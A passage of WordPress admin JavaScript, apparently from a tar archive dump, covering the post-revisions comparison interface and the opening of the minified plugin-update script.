return pair.join(':'); }).filter( function( diffId ) { return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ]; }).value(); }, _loadAll: function( allRevisionIds, centerId, num ) { var self = this, deferred = $.Deferred(), diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num ); if ( _.size( diffs ) > 0 ) { this.load( diffs ).done( function() { self._loadAll( allRevisionIds, centerId, num ).done( function() { deferred.resolve(); }); }).fail( function() { if ( 1 === num ) { // Already tried 1. This just isn't working. Give up. deferred.reject(); } else { // Request fewer diffs this time. self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() { deferred.resolve(); }); } }); } else { deferred.resolve(); } return deferred; }, load: function( comparisons ) { wp.revisions.log( 'load', comparisons ); // Our collection should only ever grow, never shrink, so `remove: false`. return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() { wp.revisions.log( 'load:complete', comparisons ); }); }, sync: function( method, model, options ) { if ( 'read' === method ) { options = options || {}; options.context = this; options.data = _.extend( options.data || {}, { action: 'get-revision-diffs', post_id: this.postId }); var deferred = wp.ajax.send( options ), requests = this.requests; // Record that we're requesting each diff. if ( options.data.compare ) { _.each( options.data.compare, function( id ) { requests[ id ] = deferred; }); } // When the request completes, clear the stored request. deferred.always( function() { if ( options.data.compare ) { _.each( options.data.compare, function( id ) { delete requests[ id ]; }); } }); return deferred; // Otherwise, fall back to `Backbone.sync()`. } else { return Backbone.Model.prototype.sync.apply( this, arguments ); } } }); /** * wp.revisions.model.FrameState * * The frame state. * * @see wp.revisions.view.Frame * * @param {object} attributes Model attributes - none are required. * @param {object} options Options for the model. * @param {revisions.model.Revisions} options.revisions A collection of revisions. */ revisions.model.FrameState = Backbone.Model.extend({ defaults: { loading: false, error: false, compareTwoMode: false }, initialize: function( attributes, options ) { var state = this.get( 'initialDiffState' ); _.bindAll( this, 'receiveDiff' ); this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 ); this.revisions = options.revisions; this.diffs = new revisions.model.Diffs( [], { revisions: this.revisions, postId: this.get( 'postId' ) } ); // Set the initial diffs collection. this.diffs.set( this.get( 'diffData' ) ); // Set up internal listeners. this.listenTo( this, 'change:from', this.changeRevisionHandler ); this.listenTo( this, 'change:to', this.changeRevisionHandler ); this.listenTo( this, 'change:compareTwoMode', this.changeMode ); this.listenTo( this, 'update:revisions', this.updatedRevisions ); this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus ); this.listenTo( this, 'update:diff', this.updateLoadingStatus ); // Set the initial revisions, baseUrl, and mode as provided through attributes. this.set( { to : this.revisions.get( state.to ), from : this.revisions.get( state.from ), compareTwoMode : state.compareTwoMode } ); // Start the router if browser supports History API. if ( window.history && window.history.pushState ) { this.router = new revisions.Router({ model: this }); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ pushState: true }); } }, updateLoadingStatus: function() { this.set( 'error', false ); this.set( 'loading', ! this.diff() ); }, changeMode: function( model, value ) { var toIndex = this.revisions.indexOf( this.get( 'to' ) ); // If we were on the first revision before switching to two-handled mode, // bump the 'to' position over one. if ( value && 0 === toIndex ) { this.set({ from: this.revisions.at( toIndex ), to: this.revisions.at( toIndex + 1 ) }); } // When switching back to single-handled mode, reset 'from' model to // one position before the 'to' model. if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode. this.set({ from: this.revisions.at( toIndex - 1 ), to: this.revisions.at( toIndex ) }); } }, updatedRevisions: function( from, to ) { if ( this.get( 'compareTwoMode' ) ) { // @todo Compare-two loading strategy. } else { this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 ); } }, // Fetch the currently loaded diff. diff: function() { return this.diffs.get( this._diffId ); }, /* * So long as `from` and `to` are changed at the same time, the diff * will only be updated once. This is because Backbone updates all of * the changed attributes in `set`, and then fires the `change` events. */ updateDiff: function( options ) { var from, to, diffId, diff; options = options || {}; from = this.get('from'); to = this.get('to'); diffId = ( from ? from.id : 0 ) + ':' + to.id; // Check if we're actually changing the diff id. if ( this._diffId === diffId ) { return $.Deferred().reject().promise(); } this._diffId = diffId; this.trigger( 'update:revisions', from, to ); diff = this.diffs.get( diffId ); // If we already have the diff, then immediately trigger the update. if ( diff ) { this.receiveDiff( diff ); return $.Deferred().resolve().promise(); // Otherwise, fetch the diff. } else { if ( options.immediate ) { return this._ensureDiff(); } else { this._debouncedEnsureDiff(); return $.Deferred().reject().promise(); } } }, // A simple wrapper around `updateDiff` to prevent the change event's // parameters from being passed through. changeRevisionHandler: function() { this.updateDiff(); }, receiveDiff: function( diff ) { // Did we actually get a diff? if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) { this.set({ loading: false, error: true }); } else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change. this.trigger( 'update:diff', diff ); } }, _ensureDiff: function() { return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff ); } }); /** * ======================================================================== * VIEWS * ======================================================================== */ /** * wp.revisions.view.Frame * * Top level frame that orchestrates the revisions experience. * * @param {object} options The options hash for the view. * @param {revisions.model.FrameState} options.model The frame state model. */ revisions.view.Frame = wp.Backbone.View.extend({ className: 'revisions', template: wp.template('revisions-frame'), initialize: function() { this.listenTo( this.model, 'update:diff', this.renderDiff ); this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode ); this.listenTo( this.model, 'change:loading', this.updateLoadingStatus ); this.listenTo( this.model, 'change:error', this.updateErrorStatus ); this.views.set( '.revisions-control-frame', new revisions.view.Controls({ model: this.model }) ); }, render: function() { wp.Backbone.View.prototype.render.apply( this, arguments ); $('html').css( 'overflow-y', 'scroll' ); $('#wpbody-content .wrap').append( this.el ); this.updateCompareTwoMode(); this.renderDiff( this.model.diff() ); this.views.ready(); return this; }, renderDiff: function( diff ) { this.views.set( '.revisions-diff-frame', new revisions.view.Diff({ model: diff }) ); }, updateLoadingStatus: function() { this.$el.toggleClass( 'loading', this.model.get('loading') ); }, updateErrorStatus: function() { this.$el.toggleClass( 'diff-error', this.model.get('error') ); }, updateCompareTwoMode: function() { this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') ); } }); /** * wp.revisions.view.Controls * * The controls view. * * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox. */ revisions.view.Controls = wp.Backbone.View.extend({ className: 'revisions-controls', initialize: function() { _.bindAll( this, 'setWidth' ); // Add the checkbox view. this.views.add( new revisions.view.Checkbox({ model: this.model }) ); // Add the button view. this.views.add( new revisions.view.Buttons({ model: this.model }) ); // Prep the slider model. var slider = new revisions.model.Slider({ frame: this.model, revisions: this.model.revisions }), // Prep the tooltip model. tooltip = new revisions.model.Tooltip({ frame: this.model, revisions: this.model.revisions, slider: slider }); // Add the tooltip view. this.views.add( new revisions.view.Tooltip({ model: tooltip }) ); // Add the tickmarks view. this.views.add( new revisions.view.Tickmarks({ model: tooltip }) ); // Add the visually hidden slider help view. this.views.add( new revisions.view.SliderHelp() ); // Add the slider view. this.views.add( new revisions.view.Slider({ model: slider }) ); // Add the Metabox view. this.views.add( new revisions.view.Metabox({ model: this.model }) ); }, ready: function() { this.top = this.$el.offset().top; this.window = $(window); this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) { var controls = e.data.controls, container = controls.$el.parent(), scrolled = controls.window.scrollTop(), frame = controls.views.parent; if ( scrolled >= controls.top ) { if ( ! frame.$el.hasClass('pinned') ) { controls.setWidth(); container.css('height', container.height() + 'px' ); controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) { e.data.controls.setWidth(); }); } frame.$el.addClass('pinned'); } else if ( frame.$el.hasClass('pinned') ) { controls.window.off('.wp.revisions.pinning'); controls.$el.css('width', 'auto'); frame.$el.removeClass('pinned'); container.css('height', 'auto'); controls.top = controls.$el.offset().top; } else { controls.top = controls.$el.offset().top; } }); }, setWidth: function() { this.$el.css('width', this.$el.parent().width() + 'px'); } }); // The tickmarks view. revisions.view.Tickmarks = wp.Backbone.View.extend({ className: 'revisions-tickmarks', direction: isRtl ? 'right' : 'left', initialize: function() { this.listenTo( this.model, 'change:revision', this.reportTickPosition ); }, reportTickPosition: function( model, revision ) { var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision ); thisOffset = this.$el.allOffsets(); parentOffset = this.$el.parent().allOffsets(); if ( index === this.model.revisions.length - 1 ) { // Last one. offset = { rightPlusWidth: thisOffset.left - parentOffset.left + 1, leftPlusWidth: thisOffset.right - parentOffset.right + 1 }; } else { // Normal tick. tick = this.$('div:nth-of-type(' + (index + 1) + ')'); offset = tick.allPositions(); _.extend( offset, { left: offset.left + thisOffset.left - parentOffset.left, right: offset.right + thisOffset.right - parentOffset.right }); _.extend( offset, { leftPlusWidth: offset.left + tick.outerWidth(), rightPlusWidth: offset.right + tick.outerWidth() }); } this.model.set({ offset: offset }); }, ready: function() { var tickCount, tickWidth; tickCount = this.model.revisions.length - 1; tickWidth = 1 / tickCount; this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px'); _(tickCount).times( function( index ){ this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' ); }, this ); } }); // The metabox view. revisions.view.Metabox = wp.Backbone.View.extend({ className: 'revisions-meta', initialize: function() { // Add the 'from' view. this.views.add( new revisions.view.MetaFrom({ model: this.model, className: 'diff-meta diff-meta-from' }) ); // Add the 'to' view. this.views.add( new revisions.view.MetaTo({ model: this.model }) ); } }); // The revision meta view (to be extended). revisions.view.Meta = wp.Backbone.View.extend({ template: wp.template('revisions-meta'), events: { 'click .restore-revision': 'restoreRevision' }, initialize: function() { this.listenTo( this.model, 'update:revisions', this.render ); }, prepare: function() { return _.extend( this.model.toJSON()[this.type] || {}, { type: this.type }); }, restoreRevision: function() { document.location = this.model.get('to').attributes.restoreUrl; } }); // The revision meta 'from' view. revisions.view.MetaFrom = revisions.view.Meta.extend({ className: 'diff-meta diff-meta-from', type: 'from' }); // The revision meta 'to' view. revisions.view.MetaTo = revisions.view.Meta.extend({ className: 'diff-meta diff-meta-to', type: 'to' }); // The checkbox view. revisions.view.Checkbox = wp.Backbone.View.extend({ className: 'revisions-checkbox', template: wp.template('revisions-checkbox'), events: { 'click .compare-two-revisions': 'compareTwoToggle' }, initialize: function() { this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode ); }, ready: function() { if ( this.model.revisions.length < 3 ) { $('.revision-toggle-compare-mode').hide(); } }, updateCompareTwoMode: function() { this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') ); }, // Toggle the compare two mode feature when the compare two checkbox is checked. compareTwoToggle: function() { // Activate compare two mode? this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') }); } }); // The slider visually hidden help view. revisions.view.SliderHelp = wp.Backbone.View.extend({ className: 'revisions-slider-hidden-help', template: wp.template( 'revisions-slider-hidden-help' ) }); // The tooltip view. // Encapsulates the tooltip. revisions.view.Tooltip = wp.Backbone.View.extend({ className: 'revisions-tooltip', template: wp.template('revisions-meta'), initialize: function() { this.listenTo( this.model, 'change:offset', this.render ); this.listenTo( this.model, 'change:hovering', this.toggleVisibility ); this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility ); }, prepare: function() { if ( _.isNull( this.model.get('revision') ) ) { return; } else { return _.extend( { type: 'tooltip' }, { attributes: this.model.get('revision').toJSON() }); } }, render: function() { var otherDirection, direction, directionVal, flipped, css = {}, position = this.model.revisions.indexOf( this.model.get('revision') ) + 1; flipped = ( position / this.model.revisions.length ) > 0.5; if ( isRtl ) { direction = flipped ? 'left' : 'right'; directionVal = flipped ? 'leftPlusWidth' : direction; } else { direction = flipped ? 'right' : 'left'; directionVal = flipped ? 'rightPlusWidth' : direction; } otherDirection = 'right' === direction ? 'left': 'right'; wp.Backbone.View.prototype.render.apply( this, arguments ); css[direction] = this.model.get('offset')[directionVal] + 'px'; css[otherDirection] = ''; this.$el.toggleClass( 'flipped', flipped ).css( css ); }, visible: function() { return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' ); }, toggleVisibility: function() { if ( this.visible() ) { this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 ); } else { this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } ); } return; } }); // The buttons view. // Encapsulates all of the configuration for the previous/next buttons. revisions.view.Buttons = wp.Backbone.View.extend({ className: 'revisions-buttons', template: wp.template('revisions-buttons'), events: { 'click .revisions-next .button': 'nextRevision', 'click .revisions-previous .button': 'previousRevision' }, initialize: function() { this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck ); }, ready: function() { this.disabledButtonCheck(); }, // Go to a specific model index. gotoModel: function( toIndex ) { var attributes = { to: this.model.revisions.at( toIndex ) }; // If we're at the first revision, unset 'from'. if ( toIndex ) { attributes.from = this.model.revisions.at( toIndex - 1 ); } else { this.model.unset('from', { silent: true }); } this.model.set( attributes ); }, // Go to the 'next' revision. nextRevision: function() { var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1; this.gotoModel( toIndex ); }, // Go to the 'previous' revision. previousRevision: function() { var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1; this.gotoModel( toIndex ); }, // Check to see if the Previous or Next buttons need to be disabled or enabled. disabledButtonCheck: function() { var maxVal = this.model.revisions.length - 1, minVal = 0, next = $('.revisions-next .button'), previous = $('.revisions-previous .button'), val = this.model.revisions.indexOf( this.model.get('to') ); // Disable "Next" button if you're on the last node. next.prop( 'disabled', ( maxVal === val ) ); // Disable "Previous" button if you're on the first node. previous.prop( 'disabled', ( minVal === val ) ); } }); // The slider view. revisions.view.Slider = wp.Backbone.View.extend({ className: 'wp-slider', direction: isRtl ? 'right' : 'left', events: { 'mousemove' : 'mouseMove' }, initialize: function() { _.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' ); this.listenTo( this.model, 'update:slider', this.applySliderSettings ); }, ready: function() { this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px'); this.$el.slider( _.extend( this.model.toJSON(), { start: this.start, slide: this.slide, stop: this.stop }) ); this.$el.hoverIntent({ over: this.mouseEnter, out: this.mouseLeave, timeout: 800 }); this.applySliderSettings(); }, accessibilityHelper: function() { var handles = $( '.ui-slider-handle' ); handles.first().attr( { role: 'button', 'aria-labelledby': 'diff-title-from diff-title-author', 'aria-describedby': 'revisions-slider-hidden-help', } ); handles.last().attr( { role: 'button', 'aria-labelledby': 'diff-title-to diff-title-author', 'aria-describedby': 'revisions-slider-hidden-help', } ); }, mouseMove: function( e ) { var zoneCount = this.model.revisions.length - 1, // One fewer zone than models. sliderFrom = this.$el.allOffsets()[this.direction], // "From" edge of slider. sliderWidth = this.$el.width(), // Width of slider. tickWidth = sliderWidth / zoneCount, // Calculated width of zone. actualX = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom. currentModelIndex = Math.floor( ( actualX + ( tickWidth / 2 ) ) / tickWidth ); // Calculate the model index. // Ensure sane value for currentModelIndex. if ( currentModelIndex < 0 ) { currentModelIndex = 0; } else if ( currentModelIndex >= this.model.revisions.length ) { currentModelIndex = this.model.revisions.length - 1; } // Update the tooltip mode. this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) }); }, mouseLeave: function() { this.model.set({ hovering: false }); }, mouseEnter: function() { this.model.set({ hovering: true }); }, applySliderSettings: function() { this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) ); var handles = this.$('a.ui-slider-handle'); if ( this.model.get('compareTwoMode') ) { // In RTL mode the 'left handle' is the second in the slider, 'right' is first. handles.first() .toggleClass( 'to-handle', !! isRtl ) .toggleClass( 'from-handle', ! isRtl ); handles.last() .toggleClass( 'from-handle', !! isRtl ) .toggleClass( 'to-handle', ! isRtl ); this.accessibilityHelper(); } else { handles.removeClass('from-handle to-handle'); this.accessibilityHelper(); } }, start: function( event, ui ) { this.model.set({ scrubbing: true }); // Track the mouse position to enable smooth dragging, // overrides default jQuery UI step behavior. $( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) { var handles, view = e.data.view, leftDragBoundary = view.$el.offset().left, sliderOffset = leftDragBoundary, sliderRightEdge = leftDragBoundary + view.$el.width(), rightDragBoundary = sliderRightEdge, leftDragReset = '0', rightDragReset = '100%', handle = $( ui.handle ); // In two handle mode, ensure handles can't be dragged past each other. // Adjust left/right boundaries and reset points. if ( view.model.get('compareTwoMode') ) { handles = handle.parent().find('.ui-slider-handle'); if ( handle.is( handles.first() ) ) { // We're the left handle. rightDragBoundary = handles.last().offset().left; rightDragReset = rightDragBoundary - sliderOffset; } else { // We're the right handle. leftDragBoundary = handles.first().offset().left + handles.first().width(); leftDragReset = leftDragBoundary - sliderOffset; } } // Follow mouse movements, as long as handle remains inside slider. if ( e.pageX < leftDragBoundary ) { handle.css( 'left', leftDragReset ); // Mouse to left of slider. } else if ( e.pageX > rightDragBoundary ) { handle.css( 'left', rightDragReset ); // Mouse to right of slider. } else { handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider. } } ); }, getPosition: function( position ) { return isRtl ? this.model.revisions.length - position - 1: position; }, // Responds to slide events. slide: function( event, ui ) { var attributes, movedRevision; // Compare two revisions mode. if ( this.model.get('compareTwoMode') ) { // Prevent sliders from occupying same spot. if ( ui.values[1] === ui.values[0] ) { return false; } if ( isRtl ) { ui.values.reverse(); } attributes = { from: this.model.revisions.at( this.getPosition( ui.values[0] ) ), to: this.model.revisions.at( this.getPosition( ui.values[1] ) ) }; } else { attributes = { to: this.model.revisions.at( this.getPosition( ui.value ) ) }; // If we're at the first revision, unset 'from'. if ( this.getPosition( ui.value ) > 0 ) { attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 ); } else { attributes.from = undefined; } } movedRevision = this.model.revisions.at( this.getPosition( ui.value ) ); // If we are scrubbing, a scrub to a revision is considered a hover. if ( this.model.get('scrubbing') ) { attributes.hoveredRevision = movedRevision; } this.model.set( attributes ); }, stop: function() { $( window ).off('mousemove.wp.revisions'); this.model.updateSliderSettings(); // To snap us back to a tick mark. this.model.set({ scrubbing: false }); } }); // The diff view. // This is the view for the current active diff. revisions.view.Diff = wp.Backbone.View.extend({ className: 'revisions-diff', template: wp.template('revisions-diff'), // Generate the options to be passed to the template. prepare: function() { return _.extend({ fields: this.model.fields.toJSON() }, this.options ); } }); // The revisions router. // Maintains the URL routes so browser URL matches state. revisions.Router = Backbone.Router.extend({ initialize: function( options ) { this.model = options.model; // Maintain state and history when navigating. this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) ); this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl ); }, baseUrl: function( url ) { return this.model.get('baseUrl') + url; }, updateUrl: function() { var from = this.model.has('from') ? this.model.get('from').id : 0, to = this.model.get('to').id; if ( this.model.get('compareTwoMode' ) ) { this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } ); } else { this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } ); } }, handleRoute: function( a, b ) { var compareTwo = _.isUndefined( b ); if ( ! compareTwo ) { b = this.model.revisions.get( a ); a = this.model.revisions.prev( b ); b = b ? b.id : 0; a = a ? a.id : 0; } } }); /** * Initialize the revisions UI for revision.php. */ revisions.init = function() { var state; // Bail if the current page is not revision.php. if ( ! window.adminpage || 'revision-php' !== window.adminpage ) { return; } state = new revisions.model.FrameState({ initialDiffState: { // wp_localize_script doesn't stringifies ints, so cast them. to: parseInt( revisions.settings.to, 10 ), from: parseInt( revisions.settings.from, 10 ), // wp_localize_script does not allow for top-level booleans so do a comparator here. compareTwoMode: ( revisions.settings.compareTwoMode === '1' ) }, diffData: revisions.settings.diffData, baseUrl: revisions.settings.baseUrl, postId: parseInt( revisions.settings.postId, 10 ) }, { revisions: new revisions.model.Revisions( revisions.settings.revisionData ) }); revisions.view.frame = new revisions.view.Frame({ model: state }).render(); }; $( revisions.init ); }(jQuery)); js/updates.min.js 0000644 00000136473 15233246127 0007770 0 ustar 00 /*! This file is auto-generated */ !function(c,g,m){var f=c(document),h=g.i18n.__,r=g.i18n._x,p=g.i18n._n,o=g.i18n._nx,v=g.i18n.sprintf;(g=g||{}).updates={},g.updates.l10n={searchResults:"",searchResultsLabel:"",noPlugins:"",noItemsSelected:"",updating:"",pluginUpdated:"",themeUpdated:"",update:"",updateNow:"",pluginUpdateNowLabel:"",updateFailedShort:"",updateFailed:"",pluginUpdatingLabel:"",pluginUpdatedLabel:"",pluginUpdateFailedLabel:"",updatingMsg:"",updatedMsg:"",updateCancel:"",beforeunload:"",installNow:"",pluginInstallNowLabel:"",installing:"",pluginInstalled:"",themeInstalled:"",installFailedShort:"",installFailed:"",pluginInstallingLabel:"",themeInstallingLabel:"",pluginInstalledLabel:"",themeInstalledLabel:"",pluginInstallFailedLabel:"",themeInstallFailedLabel:"",installingMsg:"",installedMsg:"",importerInstalledMsg:"",aysDelete:"",aysDeleteUninstall:"",aysBulkDelete:"",aysBulkDeleteThemes:"",deleting:"",deleteFailed:"",pluginDeleted:"",themeDeleted:"",livePreview:"",activatePlugin:"",activateTheme:"",activatePluginLabel:"",activateThemeLabel:"",activateImporter:"",activateImporterLabel:"",unknownError:"",connectionError:"",nonceError:"",pluginsFound:"",noPluginsFound:"",autoUpdatesEnable:"",autoUpdatesEnabling:"",autoUpdatesEnabled:"",autoUpdatesDisable:"",autoUpdatesDisabling:"",autoUpdatesDisabled:"",autoUpdatesError:""},g.updates.l10n=window.wp.deprecateL10nObject("wp.updates.l10n",g.updates.l10n,"5.5.0"),g.updates.ajaxNonce=m.ajax_nonce,g.updates.searchTerm="",g.updates.searchMinCharacters=2,g.updates.shouldRequestFilesystemCredentials=!1,g.updates.filesystemCredentials={ftp:{host:"",username:"",password:"",connectionType:""},ssh:{publicKey:"",privateKey:""},fsNonce:"",available:!1},g.updates.ajaxLocked=!1,g.updates.adminNotice=g.template("wp-updates-admin-notice"),g.updates.queue=[],g.updates.$elToReturnFocusToFromCredentialsModal=void 0,g.updates.addAdminNotice=function(e){var t,a=c(e.selector),s=c(".wp-header-end");delete e.selector,t=g.updates.adminNotice(e),(a=a.length?a:c("#"+e.id)).length?a.replaceWith(t):s.length?s.after(t):"customize"===pagenow?c(".customize-themes-notifications").append(t):c(".wrap").find("> h1").after(t),f.trigger("wp-updates-notice-added")},g.updates.ajax=function(e,t){var a={};return g.updates.ajaxLocked?(g.updates.queue.push({action:e,data:t}),c.Deferred()):(g.updates.ajaxLocked=!0,t.success&&(a.success=t.success,delete t.success),t.error&&(a.error=t.error,delete t.error),a.data=_.extend(t,{action:e,_ajax_nonce:g.updates.ajaxNonce,_fs_nonce:g.updates.filesystemCredentials.fsNonce,username:g.updates.filesystemCredentials.ftp.username,password:g.updates.filesystemCredentials.ftp.password,hostname:g.updates.filesystemCredentials.ftp.hostname,connection_type:g.updates.filesystemCredentials.ftp.connectionType,public_key:g.updates.filesystemCredentials.ssh.publicKey,private_key:g.updates.filesystemCredentials.ssh.privateKey}),g.ajax.send(a).always(g.updates.ajaxAlways))},g.updates.ajaxAlways=function(e){e.errorCode&&"unable_to_connect_to_filesystem"===e.errorCode||(g.updates.ajaxLocked=!1,g.updates.queueChecker()),void 0!==e.debug&&window.console&&window.console.log&&_.map(e.debug,function(e){window.console.log(g.sanitize.stripTagsAndEncodeText(e))})},g.updates.refreshCount=function(){var e,t=c("#wp-admin-bar-updates"),a=c('a[href="update-core.php"] .update-plugins'),s=c('a[href="plugins.php"] .update-plugins'),n=c('a[href="themes.php"] .update-plugins');t.find(".ab-label").text(m.totals.counts.total),t.find(".updates-available-text").text(v(p("%s update available","%s updates available",m.totals.counts.total),m.totals.counts.total)),0===m.totals.counts.total&&t.find(".ab-label").parents("li").remove(),a.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.total)}),0<m.totals.counts.total?a.find(".update-count").text(m.totals.counts.total):a.remove(),s.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.plugins)}),0<m.totals.counts.total?s.find(".plugin-count").text(m.totals.counts.plugins):s.remove(),n.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.themes)}),0<m.totals.counts.total?n.find(".theme-count").text(m.totals.counts.themes):n.remove(),"plugins"===pagenow||"plugins-network"===pagenow?e=m.totals.counts.plugins:"themes"!==pagenow&&"themes-network"!==pagenow||(e=m.totals.counts.themes),0<e?c(".subsubsub .upgrade .count").text("("+e+")"):(c(".subsubsub .upgrade").remove(),c(".subsubsub li:last").html(function(){return c(this).children()}))},g.updates.setCardButtonStatus=function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("index.php")&&t.postMessage(JSON.stringify(e),window.location.origin)},g.updates.decrementCount=function(e){m.totals.counts.total=Math.max(--m.totals.counts.total,0),"plugin"===e?m.totals.counts.plugins=Math.max(--m.totals.counts.plugins,0):"theme"===e&&(m.totals.counts.themes=Math.max(--m.totals.counts.themes,0)),g.updates.refreshCount(e)},g.updates.updatePlugin=function(e){var t,a,s,n=c("#wp-admin-bar-updates"),i=h("Updating..."),l="plugin-install"===pagenow||"plugin-install-network"===pagenow;return e=_.extend({success:g.updates.updatePluginSuccess,error:g.updates.updatePluginError},e),"plugins"===pagenow||"plugins-network"===pagenow?(a=(s=c('tr[data-plugin="'+e.plugin+'"]')).find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning").find("p"),s=v(r("Updating %s...","plugin"),s.find(".plugin-title strong").text())):l&&(a=(t=c(".plugin-card-"+e.slug+", #plugin-information-footer")).find(".update-now").addClass("updating-message"),s=v(r("Updating %s...","plugin"),a.data("name")),t.removeClass("plugin-card-update-failed").find(".notice.notice-error").remove()),n.addClass("spin"),a.html()!==h("Updating...")&&a.data("originaltext",a.html()),a.attr("aria-label",s).text(i),f.trigger("wp-plugin-updating",e),l&&"plugin-information-footer"===t.attr("id")&&g.updates.setCardButtonStatus({status:"updating-plugin",slug:e.slug,addClasses:"updating-message",text:i,ariaLabel:s}),g.updates.ajax("update-plugin",e)},g.updates.updatePluginSuccess=function(e){var t,a,s,n=c("#wp-admin-bar-updates"),i=r("Updated!","plugin"),l=v(r("%s updated!","plugin"),e.pluginName);"plugins"===pagenow||"plugins-network"===pagenow?(a=(t=c('tr[data-plugin="'+e.plugin+'"]').removeClass("update is-enqueued").addClass("updated")).find(".update-message").removeClass("updating-message notice-warning").addClass("updated-message notice-success").find("p"),s=t.find(".plugin-version-author-uri").html().replace(e.oldVersion,e.newVersion),t.find(".plugin-version-author-uri").html(s),t.find(".auto-update-time").empty()):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".update-now").removeClass("updating-message").addClass("button-disabled updated-message")),n.removeClass("spin"),a.attr("aria-label",l).text(i),g.a11y.speak(h("Update completed successfully.")),"plugin_install_from_iframe"!==a.attr("id")?g.updates.decrementCount("plugin"):g.updates.setCardButtonStatus({status:"updated-plugin",slug:e.slug,removeClasses:"updating-message",addClasses:"button-disabled updated-message",text:i,ariaLabel:l}),f.trigger("wp-plugin-update-success",e)},g.updates.updatePluginError=function(e){var t,a,s,n,i,l=c("#wp-admin-bar-updates");g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-plugin")&&(s=v(h("Update failed: %s"),e.errorMessage),"plugins"===pagenow||"plugins-network"===pagenow?(c('tr[data-plugin="'+e.plugin+'"]').removeClass("is-enqueued"),(a=(e.plugin?c('tr[data-plugin="'+e.plugin+'"]'):c('tr[data-slug="'+e.slug+'"]')).find(".update-message")).removeClass("updating-message notice-warning").addClass("notice-error").find("p").html(s),e.pluginName?a.find("p").attr("aria-label",v(r("%s update failed.","plugin"),e.pluginName)):a.find("p").removeAttr("aria-label")):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(n=h("Update failed."),(t=c(".plugin-card-"+e.slug+", #plugin-information-footer").append(g.updates.adminNotice({className:"update-message notice-error notice-alt is-dismissible",message:s}))).hasClass("plugin-card-"+e.slug)&&t.addClass("plugin-card-update-failed"),t.find(".update-now").text(n).removeClass("updating-message"),e.pluginName?(i=v(r("%s update failed.","plugin"),e.pluginName),t.find(".update-now").attr("aria-label",i)):(i="",t.find(".update-now").removeAttr("aria-label")),t.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){t.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus"),t.find(".update-now").attr("aria-label",!1).text(h("Update Now"))},200)})),l.removeClass("spin"),g.a11y.speak(s,"assertive"),"plugin-information-footer"===t.attr("id")&&g.updates.setCardButtonStatus({status:"plugin-update-failed",slug:e.slug,removeClasses:"updating-message",text:n,ariaLabel:i}),f.trigger("wp-plugin-update-error",e))},g.updates.installPlugin=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer"),s=a.find(".install-now"),n=h("Installing...");return e=_.extend({success:g.updates.installPluginSuccess,error:g.updates.installPluginError},e),(s="import"===pagenow?c('[data-slug="'+e.slug+'"]'):s).html()!==h("Installing...")&&s.data("originaltext",s.html()),t=v(r("Installing %s...","plugin"),s.data("name")),s.addClass("updating-message").attr("aria-label",t).text(n),g.a11y.speak(h("Installing... please wait.")),a.removeClass("plugin-card-install-failed").find(".notice.notice-error").remove(),f.trigger("wp-plugin-installing",e),"plugin-information-footer"===s.parent().attr("id")&&g.updates.setCardButtonStatus({status:"installing-plugin",slug:e.slug,addClasses:"updating-message",text:n,ariaLabel:t}),g.updates.ajax("install-plugin",e)},g.updates.installPluginSuccess=function(e){var 